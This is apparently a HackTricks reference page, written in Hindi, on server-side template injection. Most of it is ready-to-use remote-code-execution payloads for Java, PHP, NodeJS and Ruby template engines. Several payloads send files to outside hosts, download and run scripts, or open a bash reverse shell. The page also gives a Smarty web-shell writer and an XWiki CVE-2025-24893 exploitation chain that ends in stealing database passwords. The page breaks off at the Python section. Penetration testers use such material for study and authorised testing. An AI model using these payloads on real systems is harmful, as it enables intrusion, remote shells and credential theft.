SSTI (Server Side Template Injection)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

SSTI (Server-Side Template Injection) क्या है

Server-side template injection एक vulnerability है जो तब होती है जब कोई attacker किसी template में malicious code inject कर सके जो server पर execute होता है। यह vulnerability विभिन्न technologies में पाई जा सकती है, जिनमें Jinja भी शामिल है।

Jinja एक लोकप्रिय template engine है जो web applications में उपयोग होता है। चलिए एक उदाहरण देखते हैं जो Jinja का उपयोग करते हुए एक vulnerable code snippet को दर्शाता है:

output = template.render(name=request.args.get('name'))

इस vulnerable code में उपयोगकर्ता के request का name parameter सीधे render function के द्वारा template में पास किया जाता है। यह संभावित रूप से एक attacker को name parameter में हानिकारक कोड inject करने की अनुमति दे सकता है, जिससे server-side template injection हो सकता है।

उदाहरण के लिए, एक attacker इस तरह का payload भेजने वाला request craft कर सकता है:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. यह पेलोड Jinja template directives रख सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या template engine को मैनिपुलेट करने की अनुमति दे सकते हैं, जिससे सर्वर पर नियंत्रण हासिल किया जा सकता है।

To prevent server-side template injection vulnerabilities, developers को यह सुनिश्चित करना चाहिए कि user input को templates में डाला जाने से पहले उचित रूप से sanitized और validated किया गया हो। Input validation लागू करना और context-aware escaping तकनीकों का उपयोग इस भेद्यता के खतरे को कम करने में मदद कर सकता है।

Detection

Server-Side Template Injection (SSTI) का पता लगाने के लिए, शुरुआत में, fuzzing the template एक सरल तरीका है। इसमें template में विशेष characters (${{<%[%'"}}%\) की एक श्रृंखला इंजेक्ट करना और सर्वर के response में सामान्य data बनाम इस विशेष payload के प्रति अंतर का विश्लेषण करना शामिल है। भेद्यता संकेतक शामिल हैं:

  • थ्रो की गई त्रुटियाँ (errors), जो भेद्यता और संभावित रूप से template engine का खुलासा कर सकती हैं।
  • reflection में पेलोड का न होना, या उसके कुछ हिस्सों का गायब होना, जो इंगित करता है कि सर्वर इसे सामान्य डेटा की तरह प्रोसेस नहीं कर रहा।
  • Plaintext Context: XSS से अलग करने के लिए जांचें कि सर्वर template expressions का मूल्यांकन करता है या नहीं (उदा., {{7*7}}, ${7*7})।
  • Code Context: इनपुट पैरामीटर्स बदलकर भेद्यता की पुष्टि करें। उदाहरण के लिए, http://vulnerable-website.com/?greeting=data.username में greeting बदलकर देखें कि सर्वर का आउटपुट डायनामिक है या फिक्स्ड, जैसे greeting=data.username}}hello username वापस कर रहा हो।

Identification Phase

template engine की पहचान करने के लिए error messages का विश्लेषण करना या मैन्युअल रूप से विभिन्न language-specific payloads की टेस्टिंग करना शामिल है। सामान्य payloads जो errors पैदा करते हैं उनमें ${7/0}, {{7/0}}, और <%= 7/0 %> शामिल हैं। सर्वर के गणितीय ऑपरेशनों के प्रति रेस्पॉन्स पर अवलोकन करना विशेष template engine का पता लगाने में मदद करता है।

Identification by payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Tools

TInjA

एक प्रभावी SSTI + CSTI स्कैनर जो नवीन polyglots का उपयोग करता है।

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

एक इंटरैक्टिव तालिका जो सबसे प्रभावी template injection polyglots और 44 सबसे महत्वपूर्ण template engines की अपेक्षित प्रतिक्रियाओं को दिखाती है।

Exploits

Generic

इस wordlist में आप नीचे बताए गए कुछ engines के वातावरण में परिभाषित variables defined पा सकते हैं:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - सिस्टम के environment variables प्राप्त करें

${T(java.lang.System).getenv()}

Java - /etc/passwd प्राप्त करें

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

आप अपने payloads को https://try.freemarker.apache.org पर आज़मा सकते हैं

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ केवल Freemarker के 2.3.30 से नीचे वाले संस्करणों पर काम करता है

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

अधिक जानकारी

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

अधिक जानकारी

Thymeleaf

Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य टेस्ट expression ${7*7} है, जो इस template engine पर भी लागू होता है। संभावित remote code execution के लिए, निम्नलिखित जैसे expressions उपयोग किए जा सकते हैं:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf इन expressions को विशिष्ट attributes के भीतर रखने की आवश्यकता रखता है। हालांकि, expression inlining अन्य template स्थानों के लिए समर्थित है, और इसका सिंटैक्स [[...]] या [(...)] जैसा होता है। इसलिए, एक सरल SSTI टेस्ट payload इस तरह दिख सकता है: [[${7*7}]]

हालाँकि, इस payload के काम करने की संभावना सामान्यतः कम होती है। Thymeleaf की default configuration dynamic template generation को सपोर्ट नहीं करती; templates को predefined होना आवश्यक है। Developers को strings से ऑन-दा-फ़्लाई templates बनाने के लिए अपना खुद का TemplateResolver implement करना पड़ेगा, जो कि आम नहीं है।

Thymeleaf expression preprocessing भी प्रदान करता है, जहाँ double underscores (__...__) के भीतर वाले expressions preprocess किये जाते हैं। इस फीचर का उपयोग expressions के निर्माण में किया जा सकता है, जैसा कि Thymeleaf की documentation में दिखाया गया है:

#{selection.__${sel.code}__}

Thymeleaf में Vulnerability का उदाहरण

निम्नलिखित code snippet पर विचार करें, जो exploitation के लिए susceptible हो सकता है:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

यह संकेत देता है कि यदि template engine इन इनपुट्स को गलत तरीके से प्रोसेस करता है, तो इससे remote code execution हो सकता है जो निम्नलिखित URLs को एक्सेस कर सकता है:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

अधिक जानकारी

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

फ़िल्टर बायपास

कई वेरिएबल अभिव्यक्तियाँ इस्तेमाल की जा सकती हैं, अगर ${...} काम नहीं करता है तो #{...}, *{...}, @{...} या ~{...} आज़माएँ।

  • पढ़ें /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Custom Script payload generation के लिए
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

अधिक जानकारी

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble का पुराना संस्करण ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble का नया संस्करण :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava Hubspot द्वारा विकसित एक open source प्रोजेक्ट है, उपलब्ध है https://github.com/HubSpot/jinjava/

Jinjava - Command execution

इसे ठीक किया गया: https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

अधिक जानकारी

Hubspot - HuBL (Java)

  • {% %} स्टेटमेंट डिलिमीटर्स
  • {{ }} एक्सप्रेशन डिलिमीटर्स
  • {# #} कमेंट डिलिमीटर्स
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

“com.hubspot.content.hubl.context.TemplateContextRequest” के लिए खोजें और Jinjava project on Github मिला।

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

अधिक जानकारी

एक्सप्रेशन लैंग्वेज - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) JavaEE में एक मूलभूत फ़ीचर है जो presentation layer (जैसे web pages) और application logic (जैसे managed beans) के बीच इंटरैक्शन की सुविधा प्रदान करता है। यह संचार कई JavaEE तकनीकों में सुगम बनाने के लिए व्यापक रूप से उपयोग होता है। EL का उपयोग करने वाली प्रमुख JavaEE तकनीकें शामिल हैं:

  • JavaServer Faces (JSF): JSF पेजों में components को संबंधित backend डेटा और actions से bind करने के लिए EL का उपयोग करता है।
  • JavaServer Pages (JSP): JSP पेजों के भीतर डेटा तक पहुँचने और उसे संशोधित करने के लिए JSP में EL का उपयोग किया जाता है, जिससे पेज तत्वों को application डेटा से जोड़ना आसान हो जाता है।
  • Contexts and Dependency Injection for Java EE (CDI): EL, CDI के साथ समाकलित होता है ताकि web layer और managed beans के बीच seamless interaction संभव हो, जिससे अधिक संगठित application संरचना सुनिश्चित होती है।

अधिक जानने के लिए निम्नलिखित पेज देखें जहाँ exploitation of EL interpreters के बारे में और जानकारी है:

EL - Expression Language

Groovy (Java)

निम्नलिखित Security Manager bypasses इस writeup से लिए गए हैं।

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) Main.SolrSearch macro के माध्यम से unauthenticated RSS search feeds render करता है। Handler text query parameter लेता है, उसे wiki syntax में wrap करता है और macros को evaluate करता है, इसलिए }}} inject करने के बाद {{groovy}} JVM में arbitrary Groovy execute कर देता है।

  1. फिंगरप्रिंट & स्कोप – जब XWiki host-based routing के पीछे reverse-proxied होता है, तो wiki vhost खोजने के लिए Host header को fuzz करें (ffuf -u http://<ip> -H "Host: FUZZ.target" ...), फिर /xwiki/bin/view/Main/ ब्राउज़ करें और footer (XWiki Debian 15.10.8) पढ़कर vulnerable build पिन करें।
  2. Trigger SSTI – Request /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS item <title> में Groovy output मिलेगा। हमेशा “URL-encode all characters” ताकि spaces %20 रहें; उन्हें + से बदलने पर XWiki HTTP 500 फेंकता है।
  3. Run OS commands – Groovy body को बदलकर {{groovy}}println("id".execute().text){{/groovy}} रखें। String.execute() सीधे execve() के साथ command spawn करता है, इसलिए shell metacharacters (|, >, &) interpret नहीं होते। इसके बजाय download-and-execute pattern का उपयोग करें:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (script में reverse shell logic रहता है).
  1. पोस्ट एक्सप्लॉइटेशन – XWiki database credentials /etc/xwiki/hibernate.cfg.xml में store करता है; leaking hibernate.connection.password वास्तविक सिस्टम passwords देता है जिन्हें SSH पर reuse किया जा सकता है। यदि service unit NoNewPrivileges=true सेट करती है, तो /bin/su जैसे tools वैध passwords के साथ भी additional privileges नहीं प्राप्त करेंगे, इसलिए local SUID binaries पर भरोसा करने के बजाय SSH के जरिए pivot करें।

Same payload /xwiki/bin/get/Main/SolrSearch पर भी काम करता है, और Groovy stdout हमेशा RSS title में embedded रहता है, इसलिए commands का enumeration script करना आसान है।

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

अधिक जानकारी

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - टेम्पलेट प्रारूप

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

अधिक जानकारी

Plates (PHP)

Plates PHP के लिए एक templating engine है जो Twig से प्रेरित है। हालांकि, Twig के विपरीत, जो एक नई syntax पेश करता है, Plates टेम्पलेट्स में native PHP code का उपयोग करता है, जिससे यह PHP डेवलपर्स के लिए सहज होता है।

कंट्रोलर:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

पृष्ठ टेम्पलेट:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

लेआउट टेम्पलेट:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

अधिक जानकारी

PHPlib और HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib के समान है लेकिन Pear पर पोर्ट किया गया है।

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

अधिक जानकारी

अन्य PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

अधिक जानकारी

patTemplate (PHP)

patTemplate एक non-compiling PHP templating engine है, जो XML टैग्स का उपयोग करके एक दस्तावेज़ को विभिन्न हिस्सों में विभाजित करता है

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

अधिक जानकारी

Handlebars (NodeJS)

Path Traversal (अधिक जानकारी here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = त्रुटि
  • ${7*7} = ${7*7}
  • कुछ नहीं
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

अधिक जानकारी

JsRender (NodeJS)

Templateविवरण
आउटपुट का मूल्यांकन और रेंडर करें
HTML-encoded आउटपुट का मूल्यांकन और रेंडर करें
टिप्पणी
andcode की अनुमति दें (डिफ़ॉल्ट रूप से अक्षम)
  • = 49

क्लाइंट साइड

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

सर्वर साइड

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

अधिक जानकारी

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

उदाहरण सर्वर-साइड रेंडर

var pugjs = require("pug")
home = pugjs.render(injected_page)

अधिक जानकारी

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = कोई आउटपुट नहीं
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = त्रुटि
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

अधिक जानकारी

अन्य NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

अधिक जानकारी

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

अधिक जानकारी

अन्य Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

